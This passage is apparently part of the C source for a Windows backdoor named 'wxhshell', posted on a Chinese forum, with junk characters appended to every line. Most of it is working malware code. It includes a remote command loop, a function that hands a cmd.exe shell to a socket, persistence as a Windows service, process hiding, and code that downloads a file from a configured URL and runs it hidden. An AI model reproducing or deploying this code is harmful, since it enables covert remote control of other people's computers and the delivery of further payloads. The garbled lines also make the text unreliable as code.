  } y Y>-MoF/t  
  else { 3:[!t%Yb  
cxXbo a  
    switch(cmd[0]) { W!/vm  
  L289'Gzg  
  // 帮助 1z~k1usRK  
  case '?': { /7k.r}6\R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zBk_-'z  
    break; .vv5 t  
  } FOCoiocPi  
  // 安装 4? m/*VV  
  case 'i': { 5Noe/6  
    if(Install()) ^oQekga\l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dq/3E-y5  
    else 8W~lU~-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 45x,|h[F{5  
    break; SkiJ pMN  
    } 7fTxGm  
  // 卸载 1@A7h$1P  
  case 'r': { cVQatm  
    if(Uninstall()) xi6 80'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Sy^+=wK3  
    else (jM<T;4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2c}B  
    break; V~OUE]]Q  
    } = :Po%Z%{  
  // 显示 wxhshell 所在路径 XnBm`vk?V!  
  case 'p': { O6y @G .+  
    char svExeFile[MAX_PATH]; ~TYbP  
    strcpy(svExeFile,"\n\r"); o"|O ]  
      strcat(svExeFile,ExeFile); .aNO( /kO  
        send(wsh,svExeFile,strlen(svExeFile),0); 7w "sJ  
    break; f5@.^hi[  
    } 89zuL18V  
  // 重启 OuB2 x=B  
  case 'b': { QF\kPk(CtD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |/@0~O(6  
    if(Boot(REBOOT)) MWM +hk1fs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |]^l^e 6m  
    else { 6 -]>]Hr-  
    closesocket(wsh); za,6 du6  
    ExitThread(0); fC_zX}3  
    } }%eDEM  
    break; &oA~ Tx  
    } k_]\(myq  
  // 关机 7egq4gN]2Y  
  case 'd': { lZ}P{d'f.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F(deu^s%{  
    if(Boot(SHUTDOWN)) ,# ]+HS^B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $zdd=.!KiK  
    else { T`uDlo  
    closesocket(wsh); X$/E>I  
    ExitThread(0); SijtTY#r  
    } dIma{uv  
    break; /x$}D=(CZ  
    } g{e/X~  
  // 获取shell neF8V"-u&  
  case 's': { LyIKP$t  
    CmdShell(wsh); -:MmSeG7gO  
    closesocket(wsh); SGt5~T xj  
    ExitThread(0); Gc wt7~  
    break; FtE90=$  
  } 19'5Re&  
  // 退出 _0K.Fk*(!  
  case 'x': { f6Ml[!aU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =tq1ogE  
    CloseIt(wsh); mIvnz{_d  
    break; mxgqS=`  
    } jDkm:X}:  
  // 离开 L ${m/@9  
  case 'q': { :WVSJ,. !  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uls+n@\!  
    closesocket(wsh); DE%fF,Hk3  
    WSACleanup(); VrVDm*AGQ  
    exit(1); @a0Q0M  
    break; 975 _d_U  
        } p+$+MeBz  
  } &Y+e=1a+  
  } QCWf.@n  
 7SaiS_{:  
  // 提示信息 ^_sQG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0Q7MM6  
} sdrWOq  
  } rS4%$p"  
"TfI+QgLF  
  return; <KX&zi<L)  
} i0\)%H:z  
?IILt=)<  
// shell模块句柄 iUTU*El>  
int CmdShell(SOCKET sock) tU{\ev$x  
{ 8fh4%#,C%  
STARTUPINFO si; 5Dd:r{{ Q  
ZeroMemory(&si,sizeof(si)); s"WBw'_<<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $C u R}g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w-ALCh8o  
PROCESS_INFORMATION ProcessInfo; Fwb5u!_,  
char cmdline[]="cmd"; aZ6'|S;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <6/= y1QC)  
  return 0; KU]ok '  
} Ps3~{zH`  
`Ug tvo  
// 自身启动模式 $Zxt&a  
int StartFromService(void) W!91tzs:  
{ /D'M24  
typedef struct J:AMnUOcDi  
{ ya.n'X14  
  DWORD ExitStatus; xz8G}Ku  
  DWORD PebBaseAddress; FIS "Z(  
  DWORD AffinityMask; l[oe*aYN7  
  DWORD BasePriority; JGis"e  
  ULONG UniqueProcessId; s9i|mVtm8  
  ULONG InheritedFromUniqueProcessId; q*bt4,D&Es  
}   PROCESS_BASIC_INFORMATION; tb,9a!?  
Plfdr~$  
PROCNTQSIP NtQueryInformationProcess; B$?^wo  
>'b=YlUL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _w>uI57U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V&%C\ns4  
a.q;_5\5`  
  HANDLE             hProcess; x#r<,uNn,  
  PROCESS_BASIC_INFORMATION pbi; nR[^|CAR  
cI:-Z{M7z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  m*dNrG  
  if(NULL == hInst ) return 0; H:Y&OZ  
/P:EWUf'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2)9r'ai?a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oQ\&}@(V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G>K@AW #  
)c+k_;t'+  
  if (!NtQueryInformationProcess) return 0; DW>ES/B8$(  
[EOVw%R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8I.VJ3Q  
  if(!hProcess) return 0; ,F9nDF@)  
&I/qG`W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2.nE k  
 Gq1)1  
  CloseHandle(hProcess); r[pF^y0   
Da_()e[9p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9->q|E4  
if(hProcess==NULL) return 0; y`S o&:1  
m*Cu-6&qd  
HMODULE hMod; mp1ttGUtM  
char procName[255]; QIK 9  
unsigned long cbNeeded; `N'V#)Pi  
(`c G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :h*a rT4{  
Jzex]_:1~  
  CloseHandle(hProcess); w7 *V^B  
)/>A6A:  
if(strstr(procName,"services")) return 1; // 以服务启动 A gWPa.'3  
hqDqt"dKz  
  return 0; // 注册表启动 9:8|)a(1  
} R5(T([w'  
[E|uY]DR  
// 主模块 fd1C {^c  
int StartWxhshell(LPSTR lpCmdLine) y}"7e)|t%  
{ 0BK5qz  
  SOCKET wsl; ?\y%]1  
BOOL val=TRUE; "HK/u(z)  
  int port=0; 1m)M;^_  
  struct sockaddr_in door; WU)Ss`s \  
suVmg-d  
  if(wscfg.ws_autoins) Install(); FFvCi@oT  
*x(Jq?5O7X  
port=atoi(lpCmdLine); r4Q|5kT*i  
zK;XF N#U^  
if(port<=0) port=wscfg.ws_port; e;(  
}r3~rG<D71  
  WSADATA data; U>Gg0`>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b1-&v|L  
v&;:^jJ8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D*2\{W/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gu;OV LR|  
  door.sin_family = AF_INET; bRsTBp;R`I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tj5giQ3DG)  
  door.sin_port = htons(port); z7T0u.4Ss  
tC)6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6N" l{!  
closesocket(wsl); ~x]9SXD%  
return 1; Dl,`\b@Fw3  
} 2*1ft>Uty  
RN9;kB)c  
  if(listen(wsl,2) == INVALID_SOCKET) { RUo9eQIPD  
closesocket(wsl); -LWK*q[J;*  
return 1; 4XJiIa?  
} Gquuy7[&  
  Wxhshell(wsl); $NG++N  
  WSACleanup(); Mvcfk$pA  
ar ^i|`D  
return 0; $k%Z$NSN=  
:YO@_  
} sWqM?2g  
-d=WV:G%e  
// 以NT服务方式启动 >*1}1~uU`'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qTmD '2  
{ | C+o;  
DWORD   status = 0; VR0=SE  
  DWORD   specificError = 0xfffffff; 1cC1*c0Z  
c0rk<V%5+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !mnUdR|>(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D1T@R)j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #b)e4vwCq  
  serviceStatus.dwWin32ExitCode     = 0; 7~UR!T9  
  serviceStatus.dwServiceSpecificExitCode = 0; KoBW}x9Jp  
  serviceStatus.dwCheckPoint       = 0; DuF"*R~et  
  serviceStatus.dwWaitHint       = 0; {hdPhL  
~Xv=9@,h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d) ahF[82  
  if (hServiceStatusHandle==0) return; m%r/O&g  
#wR;|pN  
status = GetLastError(); eJ@~o{,?>  
  if (status!=NO_ERROR) GbZ;#^S  
{ K=\O5#F?3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  jNyoN1M  
    serviceStatus.dwCheckPoint       = 0; #&8rcu;/  
    serviceStatus.dwWaitHint       = 0; 7Y( 5]A9=  
    serviceStatus.dwWin32ExitCode     = status; iK;opA"  
    serviceStatus.dwServiceSpecificExitCode = specificError; \RG!@$i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  9A$m$  
    return; KZ:hKY@q  
  } h<l1U'Bn7  
NXk!qGV2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p,W_'?,9  
  serviceStatus.dwCheckPoint       = 0; <48<86TP  
  serviceStatus.dwWaitHint       = 0; \}"m'(\c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0C$vS`s&  
} 5M_Wj*a}7  
l=m(mf?QBg  
// 处理NT服务事件,比如:启动、停止 lB;FUck9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &^.57]  
{ n"D ?I  
switch(fdwControl) #"*e+.j[;  
{ L 3XB"A#  
case SERVICE_CONTROL_STOP: 9pSUIl9|j  
  serviceStatus.dwWin32ExitCode = 0; Ud(`V:d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~mp0B9L%  
  serviceStatus.dwCheckPoint   = 0; 1KE:[YQ1  
  serviceStatus.dwWaitHint     = 0; kxB.,'  
  { gP}+wbk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @{HrJ/4%:&  
  } G4-z3e,crr  
  return; obH; g*  
case SERVICE_CONTROL_PAUSE: 47>>4_Hz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DXR:1w[^  
  break; R9o-`Wz  
case SERVICE_CONTROL_CONTINUE: ,<Kx{+ [h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _lxco=qd=%  
  break; j?i#L}.I  
case SERVICE_CONTROL_INTERROGATE: S?0$?w?  
  break; l.=p8-/$'7  
}; ,. EBOUW^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gFN 9jM  
} uaPx"  
^TdZ*($5  
// 标准应用程序主函数 /Lf6WMit  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n# 7Pr/*0  
{ |NFZ(6vNh  
Ctu?o+^;z  
// 获取操作系统版本 y/_XgPfWU  
OsIsNt=GetOsVer(); S ZU \i*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0y#Ih {L  
nHXX\i  
  // 从命令行安装 Kq6jw/T  
  if(strpbrk(lpCmdLine,"iI")) Install(); mI1H!  
p*3; hGp6  
  // 下载执行文件 Sv[5NZn0&  
if(wscfg.ws_downexe) { PL=^}{r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @C8DZ5)  
  WinExec(wscfg.ws_filenam,SW_HIDE); HLK@xKD<  
} _8?o'<!8?^  
)xU-;z0"~  
if(!OsIsNt) { 6;b9swmh  
// 如果时win9x,隐藏进程并且设置为注册表启动 XP?rOOn  
HideProc(); $iw%(H  
StartWxhshell(lpCmdLine); %yS3&Ju  
} 3251Vq %  
else 1R%1h9I4'  
  if(StartFromService()) G;iEo4\?  
  // 以服务方式启动 y' C-[nk  
  StartServiceCtrlDispatcher(DispatchTable); Tny> D0Z#  
else &:#h$`4  
  // 普通方式启动 =6nD sibf  
  StartWxhshell(lpCmdLine); 5jcte< 5I_  
S=|@L<O  
return 0; Q / x8 #X  
}
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只看该作者 1 发表于: 2006-10-10
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